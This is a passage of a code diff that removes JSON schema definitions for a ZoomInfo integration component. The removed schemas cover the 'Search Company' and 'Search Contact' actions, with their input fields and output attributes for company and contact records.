-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "city",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "State or province of the company's primary address.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "state",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Country of the company's primary address.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "country",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Approximate yearly revenue for the company in 1000's. For example, a 100M company is expressed as 100000.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "revenue",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Approximate number of people employed by the company.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "employeeCount",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Company website URL.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "website",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The URL which can be used to retrieve the logo for the company.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "logo",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Management status of the record.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "managementStatus",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether record is under management within the contract period.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "underManagement",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Indicates when record was purchased if it is under management.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "purchaseDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        } ],
-        "label": null,
-        "maxItems": null,
-        "metadata": { },
-        "minItems": null,
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "required": null,
-        "type": "ARRAY"
-      },
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Text description unique to the company you want to use as search criteria.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Description",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyDescription",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company type (private, public, and so on).",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Type",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyType",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Search using Business Model (B2C, B2B, B2G) for a company. Default is All.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Business Model",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "businessModel",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Country for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Country",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "country",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Search Company",
-    "workflowNodeDescription": null
-  }, {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Search contact by specific criteria.",
-    "help": null,
-    "metadata": null,
-    "name": "searchContact",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The unique identifier for the resource.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "id",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The type of the resource.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "type",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Response attributes for contact search.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "attributes",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact first name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "firstName",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact middle name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "middleName",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact last name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "lastName",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Date on which the contact record was last validated.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "validDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Date on which the contact record was last updated.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "lastUpdatedDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact job title at current place of employment.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "jobTitle",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "INTEGER",
-                "defaultValue": null,
-                "description": "This score indicates the likelihood that a contact is reachable and still employed by the company listed. Minimum score is 75 and maximum is 99.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "maxValue": null,
-                "metadata": { },
-                "minValue": null,
-                "name": "contactAccuracyScore",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "required": null,
-                "type": "INTEGER"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Comma-separated list of contact management levels.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "managementLevel",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Get last Education information.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "school",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has an email address for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasEmail",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a supplemental email address for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasSupplementalEmail",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a direct phone number for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasDirectPhone",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a mobile phone number for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasMobilePhone",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has company industry for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyIndustry",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a company phone number for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyPhone",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a street address for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyStreet",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a state for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyState",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a Zip Code or Postal Code for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyZipCode",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a country for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyCountry",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has company revenue data for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyRevenue",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has company headcount data for the contact",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyEmployeeCount",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Contact flagged with do not call for direct phone.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "directPhoneDoNotCall",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Contact flagged with do not call for mobile phone.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "mobilePhoneDoNotCall",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "additionalProperties": null,
-                "advancedOption": null,
-                "controlType": "OBJECT_BUILDER",
-                "defaultValue": null,
-                "description": "Management status of the record.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "multipleValues": null,
-                "name": "managementStatus",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "properties": [ {
-                  "advancedOption": null,
-                  "controlType": "SELECT",
-                  "defaultValue": null,
-                  "description": "Indicates whether record is under management within the contract period.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "metadata": { },
-                  "name": "underManagement",
-                  "options": [ {
-                    "description": null,
-                    "label": "True",
-                    "value": true
-                  }, {
-                    "description": null,
-                    "label": "False",
-                    "value": false
-                  } ],
-                  "placeholder": null,
-                  "required": null,
-                  "type": "BOOLEAN"
-                }, {
-                  "advancedOption": null,
-                  "controlType": "TEXT",
-                  "defaultValue": null,
-                  "description": "Indicates when record was purchased if it is under management.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "languageId": null,
-                  "maxLength": null,
-                  "metadata": { },
-                  "minLength": null,
-                  "name": "purchaseDate",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "optionsLoadedDynamically": null,
-                  "placeholder": null,
-                  "regex": null,
-                  "required": null,
-                  "type": "STRING"
-                } ],
-                "required": null,
-                "type": "OBJECT"
-              }, {
-                "additionalProperties": null,
-                "advancedOption": null,
-                "controlType": "OBJECT_BUILDER",
-                "defaultValue": null,
-                "description": "Contact's company data.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "multipleValues": null,
-                "name": "company",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "properties": [ {
-                  "advancedOption": null,
-                  "controlType": "INTEGER",
-                  "defaultValue": null,
-                  "description": "Unique ZoomInfo identifier for a company.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "maxValue": null,
-                  "metadata": { },
-                  "minValue": null,
-                  "name": "id",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "placeholder": null,
-                  "required": null,
-                  "type": "INTEGER"
-                }, {
-                  "advancedOption": null,
-                  "controlType": "TEXT",
-                  "defaultValue": null,
-                  "description": "Company Name.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "languageId": null,
-                  "maxLength": null,
-                  "metadata": { },
-                  "minLength": null,
-                  "name": "name",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "optionsLoadedDynamically": null,
-                  "placeholder": null,
-                  "regex": null,
-                  "required": null,
-                  "type": "STRING"
-                } ],
-                "required": null,
-                "type": "OBJECT"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "label": null,
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "required": null,
-          "type": "ARRAY"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "advancedOption": null,
-        "controlType": "ARRAY_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "items": [ {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The unique identifier for the resource.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The type of the resource.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "type",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": "Response attributes for contact search.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": "attributes",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact first name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "firstName",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact middle name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "middleName",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact last name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "lastName",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Date on which the contact record was last validated.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "validDate",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Date on which the contact record was last updated.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
